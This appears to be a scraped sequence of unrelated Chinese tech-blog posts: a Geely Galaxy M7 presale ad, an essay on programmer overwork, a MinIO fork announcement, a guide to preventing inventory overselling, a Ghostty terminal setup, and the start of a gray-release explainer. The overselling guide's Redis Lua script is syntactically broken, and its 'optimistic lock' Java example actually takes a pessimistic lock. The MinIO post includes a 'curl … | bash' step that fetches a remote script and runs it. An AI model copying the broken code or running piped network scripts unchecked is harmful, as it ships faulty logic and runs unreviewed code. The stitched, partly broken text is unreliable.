13.98万元起,吉利银河M7正式开启全球预售
4月9日,“主流精品电混SUV引领者”吉利银河M7正式开启全球预售。预售价13.98万元-15.68万元。
吉利银河M7本次预售共有订金礼、升舱礼、先享礼三重豪礼相送。预售期间下订用户不仅可享500元抵1500元订金券与优先提车权,全系产品限时免费赠送价值3999元阻尼自适应可变悬架。预售期间,下订130km探索版、225km探索+版的用户,限时免费赠送价值8800元 16扬Flyme Sound无界之声;下订225km星舰版的用户,限时免费赠送价值12800元23扬Flyme Sound无界之声。

作为吉利银河开启两百万新征程的首款新车、M系列首款主流电混SUV,吉利银河M7首发搭载神盾金砖电池,依托GEA Evo全球智能新能源旗舰架构和全球顶尖工程团队赋能,以纯电续航至高225km,满油满电综合续航1730km,麋鹿测试81km/h三大技术尖点全面刷新主流电混SUV的价值天花板,以同级领先的产品力为用户带来续航、操控、安全、舒享、智能新体验。

225km纯电+1730km综合续航+3.35L馈电油耗 打造续航王牌
对于新能源用户而言,续航焦虑、补能等待、电池衰减始终是绕不开的三大痛点。吉利银河M7的到来,正是对这些核心焦虑的精准回应。
吉利银河M7首发搭载的神盾金砖电池,配备同级最大29.8kWh混动专用电池包,通过电芯精密排布实现空间利用率提升5%,做到比同级多三度电、纯电续航多25km;雷霆11合1高集成电驱,175kW超强动力,实现系统综合效率93.1%;雷神EM超级电混专用发动机,高达47.26%量产最高平台热效率。另外,星睿AI云动力2.0系统可使银河M7整车油耗降低15%、热管理功耗降低30%、节能水平提升5%。整车0.27Cd的超低风阻,配合20处气动减阻优化及AGS智能可变进气格栅,风阻系数比子弹还低,进一步降低了行驶能耗。这套高效协同的硬核技术组合,为吉利银河M7带来同级领先的225km纯电续航、1730km综合续航以及3.35L/100km超低馈电油耗。无论是城市通勤用户,还是长途出行用户,在驾驶吉利银河M7时都能找到适合自己的最佳解决方案。
除了长续航,神盾金砖电池更以超快充、超耐用、超安全的全维实力,为吉利银河M7持续赋能。补能方面,神盾金砖电池具备超快充能力,吉利银河M7所搭载的电池,充电SOC从30%充到80%,仅需15分钟同级最快,大幅缩短用户等待时间。电池耐用性方面,神盾金砖电池电芯循环寿命更超过4500次,并通过SEI膜自修复技术实现电池与整车同寿,可以保证百万公里的行驶里程,从根本上解决用户对电池衰减与寿命的担忧。电池安全方面,神盾金砖电池通过了从电池电芯-整包-整车全维度16项极端场景挑战测试,以远超国标的安全水准为用户构建牢固的安全屏障。

麋鹿测试81km/h 打造家用SUV操控王牌
在很多用户认知里,新能源家用SUV往往与操控无缘,车身大、重心高、过弯侧倾明显。吉利银河M7的到来,正是为了打破这一固有印象。
依托GEA Evo全球智能新能源旗舰架构,在全球顶尖工程团队调校赋能下,吉利银河M7麋鹿测试实测成绩高达81km/h,超越众多豪华品牌SUV。吉利和中汽研联合开发的AI虚拟底盘调校技术,通过模拟仿真200种以上典型路况,完成超过3000次虚拟调校,覆盖用户出行全场景。博世One-Box制动系统、意大利ITT大尺寸刹车片、固特异20英寸轮胎与CST舒适制动2.0系统协同,实现35.6米同级最短制动距离。此外,全系免费获赠的阻尼自适应可变悬架,可基于路况实时调节阻尼软硬,配合50处软连接,粗糙路面震感降低11.2%,颠簸路面平稳性提升8.3%,让每一次出行都稳如泰山。吉利银河M7,让家用SUV用户无需妥协,在舒适的同时,拥有操控底气与驾驶乐趣。

安全、舒享、智能三大引领 全方位守护用户出行
如果说续航与操控是吉利银河M7给用户的“硬实力”,那么安全、舒享、智能,就是吉利银河M7给用户超越期待的全方位体验。
安全方面,吉利银河M7是基于吉利“全域安全2.0”理念打造的首款主流SUV,星甲笼式车身、1500MPa一体式热成型硼钢门环、九横四纵框架式底盘防护结构,构建起坚固的安全堡垒。同级独有的后排座椅钢板,三叶草泄力结构等设计,将碰撞力层层分解,做到“大力化小,小力化无”。车内更采用低VOC环保材质,有害物含量远低于国标,守护全家健康。
舒享方面,吉利银河M7以88%同级领先的得房率,实现“前后皆平权,每座都宽敞”。全车30处储物空间,后备厢最大可扩展至1990L,搬家储物都不在话下。82%内饰软包、十层棉花糖座椅、水晶旋钮、生态木纹饰板、256色AI氛围灯,目之所及皆是豪华。而同级最多的23扬Flyme Sound无界之声,配合前排双层静音玻璃,让座舱秒变私人音乐厅。
智能方面,吉利银河M7搭载Flyme Auto 2智能座舱,15.4英寸高清大屏配7nm龍鹰一号芯片,操作丝滑;Hi Eva语音大模型,全场景AI对话,随问随答。全系搭载的千里浩瀚辅助驾驶H3方案,支持高速、高架NOA全路况,自动超车、上下匝道;全场景泊车能识别300多种车位,断头路、窄车位也能一把入库。AEB紧急制动可在120km/h下稳稳刹停,AES紧急避让在130km/h下化险为夷。
三大技术尖点、两大王牌、三大引领,再结合23扬Flyme sound无界之声、Flyme Auto 2智能座舱等十大同级领先产品实力,吉利银河M7 13.98万元起的预售价与多重超值权益,将成为主流电混SUV市场的购车首选,并承接吉利银河的强劲势头,推动品牌在新能源主流赛道上持续向上,为用户开启美好生活的全新篇章。
收起阅读 »32岁程序员猝死背后,我的一些真实感受

上午刷到32岁程序员周末猝死这条消息,其实我并不陌生。
这几年,程序员猝死、倒下、出事的新闻隔一段时间就会出现一次,圈子里的人早就麻木了。刷到的时候,最多叹口气,继续干活,很少真的往心里去。
看到他长期加班的细节时,我突然愣住了,因为太像了。
我也经常这样。
下午刷到他的妻子和对他的聊天记录,真的感觉很无奈,可惜,他再也回不来了......

我到不是加班,我是下班后干自己的事情,我比较卷。只有下班后的时间是真正属于自己的时间才刚开始。没有人打扰,安静下来,我会干自己的事情、学习、写代码,一不留神就到了凌晨两点。
那一刻,我才真正能进入自己的状态。
学习也好,干活也好,哪怕只是安静地敲键盘,都让我觉得踏实。
于是,凌晨两点成了常态
通过他这件事,我看到我也在里面,看见了自己。
我上一次写代码写到很晚是前几周,老大让我开发一个知识库RAG系统。
给我了我一周的时间,其实对于我是有难度的,因为接触这块不久,一周时间的话肯定弄不好。
后来那天,我连夜和AI 一些协作搞了6个小时左右,搞到了凌晨3点多,初版搞的差不多,那会心率也有点高了, 有点难受,就赶快休息了...

我们这一代程序员,真的太累了。
这种累,不只是加班,而是一种长期被推着往前,却不敢停下来的状态。
房贷在那儿。
家庭在那儿。
未来的不确定性在那儿。
我们很清楚,一旦慢下来,就意味着风险。
于是我们学会了忍。
忍困、忍累、忍身体发出的各种提醒。
程序员这个职业有个很危险的地方。
身体开始出问题的时候,能力往往还在线。
我们还能写代码,还能解决问题,还能在群里回一句:“好的,我看看”
所以你会误以为自己没事。
可身体不是系统,没有明显的报错提示。
等它真正崩的时候,往往没有给你回滚的机会。
今天刷到这个新闻消息对我来说,更像是一次提醒。我现在体检去,估计都是全红状态,我经常熬夜,现在锻炼的也少了....
我们这一代人,很努力。
努力工作,努力赚钱,努力让生活往前走。
可如果连身体都开始透支,那这条路,真的值得重新想一想。
不是他倒下了。
是我们这一代,真的太累了。
来源:juejin.cn/post/7597701762905309230
MinIO已死,MinIO万岁
我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于
Tiptap的富文本编辑器、NestJs后端服务、AI集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了Tiptap的深度定制、性能优化和协作功能的实现等核心难点。
如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。
MinIO 的开源仓库已经被正式归档,不再维护。
一个时代结束了,但开源不会那么容易死去。
我创建了一个 MinIO 分支,恢复管理控制台,重建二进制分发管道,让它重新活过来。
如果你正在运行 MinIO,只需要将 minio/minio 替换为 pgsty/minio 即可。
其他一切保持不变(CVE 已修复,管理控制台 GUI 也回来了)。
死亡证明
2025 年 12 月 3 日,MinIO 在 GitHub 上宣布进入 "维护模式"。我在 MinIO 已死 一文中写过这件事。
2026 年 2 月 12 日,MinIO 又把仓库状态从 "维护模式" 更新为 "不再维护",随后直接将仓库归档。
仓库被设为只读,不再接受 PR、Issue 或任何形式的贡献。一个拥有 6 万星标、超过 10 亿次 Docker 拉取的项目,就这样变成了一块数字墓碑。

如果说 2025 年 12 月是临床死亡,那么 2026 年 2 月的这次提交就是正式的死亡证明。
2026 年 2 月 14 日,一篇广为流传的文章《MinIO 如何从开源宠儿变成警示故事》给出了完整的时间线:MinIO如何从开源宠儿变成警示故事。

Percona 创始人 Peter Zaitsev 也在 LinkedIn 上,对开源基础设施的可持续性提出了担忧。
国际社区的共识很明确:
MinIO 完了。
回顾过去几年的时间线,这并不是一次突然的事故,而是一个缓慢、有意、循序渐进的关停过程:
| 日期 | 事件 | 性质 |
|---|---|---|
| 2021-05 | Apache 2.0 → AGPL v3 | 许可证变更 |
| 2022-07 | 对 Nutanix 采取法律行动 | 许可证执行 |
| 2023-03 | 对 Weka 采取法律行动 | 许可证执行 |
| 2025-05 | 从 CE 中移除管理控制台 | 功能限制 |
| 2025-10 | 停止二进制和 Docker 分发 | 供应链切断 |
| 2025-12 | 宣布维护模式 | 生命周期结束信号 |
| 2026-02 | 仓库归档,不再维护 | 项目结束 |
一家估值 10 亿美元、共融资 1.26 亿美元的公司,用了整整五年时间,有条不紊地拆解了自己一手建立的开源生态系统。
但开源永存
通常到这里,故事就结束了,大家集体叹口气,然后继续各奔东西。
但我想讲一个不太一样的故事。这不是讣告,而是复活。
MinIO 公司可以归档一个仓库,但他们无法归档 AGPL 授予社区的权利。
讽刺的是,AGPL 本来是 MinIO 自己选的。他们从 Apache 2.0 切换到 AGPL,是为了在和 Nutanix、Weka 的纠纷中增加筹码,在保留 "开源" 标签的同时,把许可证当成法律武器。但开源许可证是一把双刃剑,同样的许可证也确保了社区有权分叉。
一旦代码以 AGPL 形式发布,许可证就不可撤销。你可以把仓库设成只读,但不能收回已经授予社区的权利。
这正是开源许可证设计的精妙之处,公司可以放弃一个项目,但不能带走那份代码。
所以,MinIO 已死,但 MinIO 也可以重生。
当然,分叉本身是最简单的部分。任何人都可以点一下 Fork 按钮。
真正的问题不是 "能不能分叉",而是 "有没有人愿意、也有能力,把它当作生产系统的一部分长期维护下去"。
我为什么要这么做?
一开始,我并没有打算接下这个担子。MinIO 进入维护模式之后,我等了几周,希望能看到有社区成员站出来。
但我始终没有等到那个人,于是只好自己上。
先说一点背景,我在维护 Pigsty,这是一个带电池的 PostgreSQL 发行版,内置了 460 多个扩展,并为 14 个 Linux 发行版 做了交叉构建。我还维护了 290 个 PG 扩展、若干 PG 分支 和数十个 Go 项目(Victoria、Prometheus 等)在所有主流平台上的打包。在这样一条流水线上再接一个项目,说实话压力不算太大。
我对 MinIO 也很熟。早在 2018 年,我们就在探探内部运行了一个 MinIO 分支(当时还是 Apache 2.0),托管了大约 25 PB 的数据,是当时中国最早、规模也最大的一批 MinIO 部署之一。
更重要的是,MinIO 也是 Pigsty 中的一个可选模块,很多用户在生产环境里,把它作为 PostgreSQL 的默认备份仓库。
我们确实认真评估过几个替代方案,但没有任何一个,能在现有工作流上做到对 MinIO 的平滑替换。

更多配置细节可以参考:pigsty.io/docs/minio/…
我们自己就在用 MinIO,所以让这条供应链活下去,对我们来说根本不是选项,而是硬性要求。
早在 2025 年 12 月,MinIO 刚宣布进入维护模式时,我就已经构建了包含 CVE 修复 的二进制包,并第一时间在生产中完成了切换。

我们已经做了什么
截至今天,我们已经完成了三件事。
1. 恢复管理控制台
这大概是最让社区糟心的一次改动。
2025 年 5 月,MinIO 从社区版中移除了完整的管理控制台,只留下一款简陋的对象浏览器。
用户管理、存储桶策略、访问控制、生命周期管理,这些东西是一夜之间统统消失的。想要它们回来?唯一途径是买企业版(大约十万美元起步)。

我们把它完整地带回来了。
更有意思的是,这甚至不需要任何逆向工程。
你只需要把 minio/console 子模块恢复到之前的版本。
他们当时的做法,是通过替换依赖版本,用一个阉割版控制台替换了完整版。真正的代码始终都还在那儿。
可以在这里看到具体的改动:
github.com/pgsty/minio…

我们现在已经把完整控制台放回来了。
2. 重建二进制分发
2025 年 10 月,MinIO 停止分发预构建的二进制文件和 Docker 镜像,只保留源码。对用户的官方回答只有一句:"使用 go install 自己构建"。
但对于绝大多数用户来说,开源软件的价值远远不止是一份源码副本,真正关键的是稳定可靠的供应链。
你需要的是可以直接塞进 Dockerfile、Ansible playbook 或 CI 流水线里的稳定工件,而不是在每次部署前,都被迫先装一套 Go 编译器。
所以我们重建了分发体系:
| 项目 | 说明 |
|---|---|
| Docker 镜像 | pgsty/minio 已在 Docker Hub 上线,直接运行 docker pull pgsty/minio 即可使用。 |
| RPM、DEB 包 | 为主流 Linux 发行版构建,遵循 MinIO 原本的打包规范。 |
| 自动化构建流水线 | 在 GitHub 上提供完全自动化的构建流程,持续产出稳定的构建工件。 |
如果你现在使用的是 Docker,只需要把 minio/minio 换成 pgsty/minio。
对于原生 Linux 安装,可以从 GitHub Release 页面获取 RPM、DEB 包。
你也可以使用 pig(PG 扩展包管理器)进行一键安装,或者配置 pigsty-infra APT、DNF 仓库,从中直接安装:
curl https://repo.pigsty.io/pig | bash
pig repo add infra -u
pig install minio
装完之后,它就像你熟悉的那份 MinIO 一样工作。
3. 恢复社区版文档
MinIO 的官方文档同样在慢慢 "消失"。不少旧链接已经开始被重定向到它们的新商业产品 AIStor。
我们分叉了 minio/docs,修复了损坏的链接,恢复了被删掉的控制台文档,并把整个站点部署在 这里。
文档仍然沿用原始项目的 CC Attribution 4.0 许可证,并在此基础上持续维护。

承诺
有几件事值得提前说清楚,以免大家产生不必要的期待。
没有新功能,只保证供应链连续性
作为一款 S3 兼容的对象存储,MinIO 已经算是功能完整了,它更像是一款 "写完了" 的软件。
它现在不缺新功能,真正缺的是一个稳定、可靠、长期可用的构建。
我这边已经有 PostgreSQL 来承担那些更复杂的活儿,所以我并不需要什么 S3 表、S3 向量之类的附加功能。一个稳定扎实的 S3 核心,就是我全部的诉求。
我们现在做的事情很简单:让你始终能拿到一份可用、完整的 MinIO 二进制,其中既包含管理控制台,也包含最新的安全修复。
RPM、DEB、Docker 镜像,都会通过自动化流水线持续构建出来,并与现有的 MinIO 部署保持兼容。
在法律和技术允许的边界内,我们会最大程度保留原有的 MinIO 命名和行为。
这是生产构建,不是归档镜像
我们自己就在生产环境中运行这些构建,而且已经 "吃狗粮" 吃了三个月。
一旦有东西出问题,我们会第一时间感受到,并尽快修复。
我搭建这套东西,首要目的是为了 Pigsty 和我们自己的使用,但我也很希望它能顺带帮到更多人。
我会跟踪 CVE,也会修 Bug
如果你在使用过程中遇到问题,欢迎到 pgsty/minio 反馈。
我会尽力修复这些问题,不过请不要把它当成商业 SLA。
考虑到 AI 编码工具大大降低了修复 Bug 的成本,而且我们明确不会往里加新功能,我相信整体维护工作量是可控的。
(你上一次见到新的 MinIO 功能更新是什么时候?)
商标确实麻烦,但有问题再一起解决
免责声明
商标声明:MinIO® 是 MinIO, Inc. 的注册商标。
本项目(pgsty/minio)是在 AGPL 许可证下独立维护的社区分支。
它与 MinIO, Inc. 没有任何关联、背书或商业关系。
本文中 "MinIO" 的使用仅指这款开源软件本身,并不暗示任何形式的商业合作。
AGPLv3 明确赋予我们分叉和分发的权利,但商标法又是另一套体系。
我们已经在各处清晰标注,这是一份由社区独立维护的构建。
如果 MinIO 公司对商标使用提出异议,我们会积极配合,完成重命名(也许会叫 "silo" 或 "stow" 之类的名字)。
在那之前,我们认为在 AGPL 分支中以描述性方式使用原始名称,是合理且有利于用户理解的。此时强行把所有 MinIO 引用全部改名,反而只会让用户更困惑。
AI 已经改变了游戏规则
你可能会问:一个人真的能扛得住这么大的项目吗?
现在已经是 2026 年了,情况和过去不一样。
借助 Claude Code、Codex 之类的工具,在复杂的 Go 项目里定位和修复 Bug 的成本,已经降低了一个数量级。
很多过去需要专职团队才能维护的大型基础设施项目,现在完全可以交给一位有经验的工程师,加上一位靠谱的 AI 副驾驶来共同完成。
在不引入新功能的前提下,维护一份 MinIO 构建,是一项可管理的工作。
真正的关键在于测试和验证。而我们已经有了完整的生产场景,可以在真实流量下持续验证它的兼容性、可靠性和安全性。
想一想,Elon 把 X(原 Twitter)的工程团队缩减到了大约 30 人,这个平台到现在还在运转。
相比之下,维护一个不再加新功能的 MinIO 分支,远没有想象中那么可怕。
这对你意味着什么
如果你只是远远围观 MinIO 的兴衰,这个故事听起来可能像一篇行业八卦。但如果你属于下面几类用户,这个分支和上面这些工作,其实都和你的日常生产环境直接相关。
- 在自建数据中心里,用
MinIO做数据库备份和归档的团队 - 把
MinIO部署在私有云,用来存放用户上传文件、审计日志、模型权重的 SaaS 团队 - 在多云环境里,把
MinIO当作S3兼容层,用来屏蔽底层对象存储差异的基础设施平台 - 需要在离线环境、内网环境中部署
S3存储,但又无法直接使用公有云服务的企业
对这些场景来说,MinIO 不只是一个组件名字,而是一条埋在系统最底层的供应链。一旦这条链路断掉,影响到的就不仅仅是对象存储本身,而是所有依赖它的备份、恢复、扩缩容、容灾和审计流程。
社区分支的目标,就是让这条链不断掉,让你可以像过去一样,用同一套命令行、同一套配置文件、同一套控制台,继续运转你的业务。
当然,如果你的团队已经在大规模使用公有云原生对象存储服务,或者可以轻松把工作负载迁移回 AWS S3、GCS、Azure Blob,那你完全可以把这篇文章当作一段开源史料。真正急需一条可持续供应链的,是那些长期押注在 MinIO 上、又没有简单退路的用户。
如何开始使用 pgsty/minio
如果你已经在生产里跑 MinIO,想要最小代价切换到社区分支,可以从下面几步入手。
- 先在测试环境里起一套新的
pgsty/minio集群,版本尽量与现网保持一致。 - 把现有
MinIO集群的配置文件完整复制过来,重点检查访问密钥、端点地址、挂载路径、证书配置是否一致。 - 使用同一套客户端脚本、备份流程,在测试环境里完整跑一遍你现在依赖的关键工作流,例如数据库全量备份和增量备份、静态资源读写、日志归档等。
- 如果你使用
Docker或Kubernetes,优先从镜像名入手,把minio/minio替换为pgsty/minio,其余参数保持不变,验证容器生命周期和探针是否工作正常。 - 确认测试环境跑通之后,再在生产环境采用渐进式方式替换,可以先切一小部分流量,观察一段时间,再逐步扩大范围。
整个过程中最重要的一点,是保留好回滚路径。无论是通过流量切换、还是通过 Helm 回滚,只要你能在短时间内切回旧版本,就可以放心在真实业务场景中验证新的构建。
直接分叉它
MinIO 公司可以归档一个 GitHub 仓库,但他们无法归档 6 万颗星标背后的真实需求,也无法归档 10 亿次 Docker 拉取背后的依赖拓扑。这些需求不会凭空消失,它们只会自己找到出口。
HashiCorp 的 Terraform 已经被社区分叉成 OpenTofu,而且运行得很好。相比之下,MinIO 的处境甚至更有利,因为 AGPL 对分叉比 BSL 更友好,社区分叉几乎不存在法律灰区。
公司可以放弃一个项目,但开源许可证本来就是为了确保代码不会因此一同消失。
分叉,是开源世界里最强力的咒语之一。当一家公司选择关门时,社区只需要说出那两个字,
分叉它。
参考
免责声明:本文最初由 Claude 从中文版本润色并翻译成英文,此处为在中文版基础上的再整理与更新。
来源:juejin.cn/post/7614428309293531155
高并发下如何防止商品超卖?
大家好,我是苏三,又跟大家见面了。
前言
"快看我们的秒杀系统!库存显示-500了!"
3年前的这个电话让我记忆犹新。
当时某电商大促,我们自认为完美的分布式架构,在0点整瞬间被击穿。
数据库连接池耗尽,库存表出现负数,客服电话被打爆...
今天这篇文章跟大家一起聊聊商品超卖的问题,希望对你会有所帮助。
最近准备面试的小伙伴,可以看一下这个宝藏网站(Java突击队):www.susan.net.cn,里面:面试八股文、面试真题、项目实战、工作内推什么都有。
1 为什么会发生超卖?
首先我们一起看看为什么会发送超卖?
1.1 数据库的"最后防线"漏洞
我们用下面的列子,给大家介绍一下商品超卖是如何发生的。
public boolean buy(int goodsId) {
// 1. 查询库存
int stock = getStockFromDatabase(goodsId);
if (stock > 0) {
// 2. 扣减库存
updateStock(goodsId, stock - 1);
return true;
}
return false;
}
在并发场景下可能变成下图这样的:

请求1和请求2都将库存更新成9。
根本原因:数据库的查询和更新操作,不是原子性校验,多个事务可能同时通过stock>0的条件检查。
1.2 超卖的本质
商品超卖的本质是:多个请求同时穿透缓存,同一时刻读取到相同库存值,最终在数据库层发生覆盖。
就像100个人同时看上一件衣服,都去试衣间前看了眼牌子,出来时都觉得自己应该拿到那件衣服。
2 防止超卖的方案
2.1 数据库乐观锁
数据库乐观锁的核心原理是通过版本号控制并发。
例如下面这样的:
UPDATE product
SET stock = stock -1, version=version+1
WHERE id=123 AND version=#{currentVersion};
Java的实现代码如下:
@Transactional
public boolean deductStock(Long productId) {
Product product = productDao.selectForUpdate(productId);
if (product.getStock() <= 0) return false;
int affected = productDao.updateWithVersion(
productId,
product.getVersion(),
product.getStock()-1
);
return affected > 0;
}
基于数据库乐观锁方案的架构图如下:

优缺点分析:
| 优点 | 缺点 |
|---|---|
| 无需额外中间件 | 高并发时DB压力大 |
| 实现简单 | 可能出现大量更新失败 |
适用场景:日订单量1万以下的中小系统。
2.2 Redis原子操作
Redis原子操作的核心原理是使用:Redis + Lua脚本。
核心代码如下:
// Lua脚本保证原子性
String lua = "if redis.call('get', KEYS >= ARGV[1] then " +
"return redis.call('decrby', KEYS[1], ARGV " +
"else return -1 end";
public boolean preDeduct(String itemId, int count) {
RedisScript<Long> script = new DefaultRedisScript<>(lua, Long.class);
Long result = redisTemplate.execute(script,
Collections.singletonList(itemId), count);
return result != null && result >= 0;
}
该方案的架构图如下:

性能对比:
- 单节点QPS:数据库方案500 vs Redis方案8万
- 响应时间:<1ms vs 50ms+
2.3 分布式锁
目前最常用的分布式锁的方案是Redisson。
下面是Redisson的实现:
RLock lock = redisson.getLock("stock_lock:"+productId);
try {
if (lock.tryLock(1, 10, TimeUnit.SECONDS)) {
// 执行库存操作
}
} finally {
lock.unlock();
}
注意事项
- 1.锁粒度要细化到商品级别
- 2.必须设置等待时间和自动释放
- 3.配合异步队列使用效果更佳
该方案的架构图如下:

2.4 消息队列削峰
可以使用 RocketMQ的事务消息。
核心代码如下:
// RocketMQ事务消息示例
TransactionMQProducer producer = new TransactionMQProducer("stock_group");
producer.setExecutor(new TransactionListener() {
@Override
public LocalTransactionState executeLocalTransaction(Message msg) {
// 扣减数据库库存
return LocalTransactionState.COMMIT_MESSAGE;
}
});
该方案的架构图如下:

技术指标:
- 削峰能力:10万QPS → 2万TPS
- 订单处理延迟:<1秒(正常时段)
2.5 预扣库存
预扣库存是防止商品超卖的终极方案。
核心算法如下:
// Guava RateLimiter限流
RateLimiter limiter = RateLimiter.create(1000); // 每秒1000个令牌
public boolean preDeduct(Long itemId) {
if (!limiter.tryAcquire()) return false;
// 写入预扣库存表
preStockDao.insert(itemId, userId);
return true;
}
该方案的架构图如下:

性能数据:
- 百万级并发支撑能力
- 库存准确率99.999%
- 订单处理耗时200ms内
最近就业形势比较困难,为了感谢各位小伙伴对苏三一直以来的支持,我特地创建了一些工作内推群, 看看能不能帮助到大家。
你可以在群里发布招聘信息,也可以内推工作,也可以在群里投递简历找工作,也可以在群里交流面试或者工作的话题。
添加苏三的私人微信:li_su223,备注:掘金+所在城市,即可加入。
3 避坑指南
3.1 缓存与数据库不一致
某次大促因缓存未及时失效,导致超卖1.2万单。
错误示例如下:
// 错误示例:先删缓存再写库
redisTemplate.delete("stock:"+productId);
productDao.updateStock(productId, newStock); // 存在并发写入窗口
3.2 未考虑库存回滚
秒杀取消后,忘记恢复库存,引发后续超卖。
正确做法是使用事务补偿。
例如下面这样的:
@Transactional
public void cancelOrder(Order order) {
stockDao.restock(order.getItemId(), order.getCount());
orderDao.delete(order.getId());
}
库存回滚和订单删除,在同一个事务中。
3.3 锁粒度过大
锁粒度过大,全局限流导致10%的请求被误杀。
错误示例如下:
// 错误示例:全局限锁
RLock globalLock = redisson.getLock("global_stock_lock");
总结
其实在很多大厂中,一般会将防止商品超卖的多种方案组合使用。
架构图如下:
通过组合使用:
- Redis做第一道防线(承受80%流量)
- 分布式锁控制核心业务逻辑
- 预扣库存+消息队列保证最终一致性
实战经验:某电商在2023年双11中:
- Redis集群承载98%请求
- 分布式锁拦截异常流量
- 预扣库存保证最终准确性
系统平稳支撑了每秒12万次秒杀请求,0超卖事故发生!
记住:没有银弹方案,只有适合场景的组合拳!
来源:juejin.cn/post/7493420166878724146
5 分钟打造你的“幽灵搭档”终端-Ghostty
什么是 Ghostty?为什么它这么香?

Ghostty 是由 HashiCorp 联合创始人 Mitchell Hashimoto(@mitchellh) 从 2021 年开始用业余时间开发的终端模拟器,核心用 Zig 语言编写,于 2024 年底正式开源。
三大优势(开发者狂喜):
| 优势 | 说明 |
|---|---|
| 超级快 | GPU 加速(macOS 用 Metal),滚动丝滑如丝绸,Claude 输出千行不卡顿 |
| 超级美 | 原生 macOS 界面 + 毛玻璃透明 + Catppuccin Mocha 紫色主题 + 完美连字字体 |
| 超级智能 | 支持 Kitty 图形协议(Claude 画图直接显示)、一键分屏、布局永久保存 |
💡 一句话总结:Ghostty 不逼你“要么快要么丑”,它全都要!
免费开源,跨平台,还在疯狂迭代。
官网:ghostty.org/
🛠️ 第一步:安装 Ghostty(3 分钟搞定)
在终端执行:
brew install --cask ghostty
安装后 Spotlight 搜索 Ghostty 打开。
⚠️ 第一次启动可能弹出两个窗口(主窗口 + 下拉幽灵窗口),忽略它,我们稍后配置。
⌨️ 第二步:基础命令(记住这 5 个就够了)
| 快捷键 | 功能 |
|---|---|
Cmd + D | 左右分屏(左 Claude 写码,右调试) |
Cmd + Shift + Enter | 放大当前窗格(看长输出超爽) |
Cmd + W | 关闭当前窗格 |
Cmd + Shift + , | 重载配置(改完 config 必按!) |
Cmd + Q | 完全退出 Ghostty |
🖱️ 切换窗格:直接用鼠标点击即可!
🌈 第三步:美化升级 — Starship 彩虹状态栏
安装并配置 Starship(终端显示 Git、CPU、时间等):
brew install starship
starship preset catppuccin-powerline -o ~/.config/starship.toml
在 ~/.zshrc 末尾添加一行:
eval "$(starship init zsh)"
保存后完全退出 Ghostty(Cmd + Q)并重启,即可看到彩虹状态栏!
🎮 第四步:打造你的“快乐开发现场”
安装监控工具:
brew install fastfetch btop
布局操作(全部在 Ghostty 内完成):
- 主窗口:运行
claude(或你的 AI 编程助手) - 按
Cmd + D→ 右侧窗格:运行fastfetch(炫酷系统信息) - 按
Cmd + Shift + D→ 下方窗格:运行btop(实时 CPU/内存监控) - 任意窗格按
Cmd + Shift + Enter放大 Claude 输出
✨ 效果:
左侧 Claude 生成代码 + 右侧 fastfetch + 底部 btop 监控
紫色毛玻璃背景 + 连字字体 + 彩虹状态栏 → 开发浪漫到窒息!

💎 第五步:终极配置(直接复制粘贴,零报错!)
以下配置已包含所有功能:
- Catppuccin Mocha 紫色主题
Cmd + D左右分屏Cmd + Shift + Enter一键放大- 布局永久保存 + 零报错
请直接复制下方全部内容,覆盖你的 Ghostty 配置文件:
# --- Typography ---
font-family = "Maple Mono NF CN"
font-size = 14
adjust-cell-height = 2
# --- Theme and Colors ---
theme = Catppuccin Mocha
# --- Window and Appearance ---
background-opacity = 0.85
background-blur-radius = 30
macos-titlebar-style = transparent
window-padding-x = 10
window-padding-y = 8
window-save-state = always
window-theme = auto
# --- Cursor ---
cursor-style = bar
cursor-style-blink = true
cursor-opacity = 0.8
# --- Mouse ---
mouse-hide-while-typing = true
copy-on-select = clipboard
# --- Quick Terminal ---
quick-terminal-position = top
quick-terminal-screen = mouse
quick-terminal-autohide = true
quick-terminal-animation-duration = 0.15
# --- Security ---
clipboard-paste-protection = true
clipboard-paste-bracketed-safe = true
# --- Shell Integration ---
shell-integration = zsh
# --- Claude 专属优化 ---
# initial-command = /opt/homebrew/bin/claude
initial-window = true
quit-after-last-window-closed = true
notify-on-command-finish = always
# --- Performance ---
scrollback-limit = 25000000
# --- 基础分屏(左右添加屏幕)---
keybind = cmd+d=new_split:right
keybind = cmd+shift+enter=toggle_split_zoom
keybind = cmd+shift+f=toggle_split_zoom
✅ 操作步骤:
- 打开终端,执行:
open ~/.config/ghostty/config
- 全选删除原内容 → 粘贴上方配置 → 保存
- 在 Ghostty 中按
Cmd + Shift + ,重载配置
然后就可以得到这样的效果:

💫 结语:你,已是“幽灵开发者”
闭上眼睛,想象这一刻:
你按下
Cmd + D,屏幕裂开新世界。
左侧 Claude 生成优雅代码,
右侧fastfetch彩虹跳动,
底部btop实时监控 CPU,
你再按Cmd + Shift + Enter,
Claude 的千行输出铺满全屏——
连字字体闪烁,紫色毛玻璃温柔发光。
那一刻,你会笑出声:原来开发,可以这么爽!
🚀 现在就行动!
- 安装 Ghostty(
brew install --cask ghostty) - 复制上方配置 → 覆盖
~/.config/ghostty/config - 按
Cmd + D,创建你人生第一个左右分屏!
让 Claude 负责思考,
让 Ghostty 负责鬼混,
而你,只需 收割快乐与效率。
从今天起,你的 Mac 不再是冷冰冰的终端,
而是一个会分屏、陪鬼混的 AI 搭档。
来源:juejin.cn/post/7616681500684419099
程序员,你使用过灰度发布吗?
大家好呀,我是猿java。
在分布式系统中,我们经常听到灰度发布这个词,那么,什么是灰度发布?为什么需要灰度发布?如何实现灰度发布?这篇文章,我们来聊一聊。
1. 什么是灰度发布?
简单来说,灰度发布也叫做渐进式发布或金丝雀发布,它是一种逐步将新版本应用到生产环境中的策略。相比于一次性全量发布,灰度发布可以让我们在小范围内先行测试新功能,监控其表现,再决定是否全面推开。这样做的好处是显而易见的:
- 降低风险:新版本如果存在 bug,只影响少部分用户,减少了对整体用户体验的冲击。
- 快速回滚:在小范围内发现问题,可以更快地回到旧版本。
- 收集反馈:可以在真实环境中收集用户反馈,优化新功能。
2. 原理解析
要理解灰度发布,我们需要先了解一下它的基本流程:
- 准备阶段:在生产环境中保留旧版本,同时引入新版本。
- 小范围发布:将新版本先部署到一小部分用户,例如1%-10%。
- 监控与评估:监控新版本的性能和稳定性,收集用户反馈。
- 逐步扩展:如果一切正常,将新版本逐步推广到更多用户。
- 全面切换:当确认新版本稳定后,全面替换旧版本。
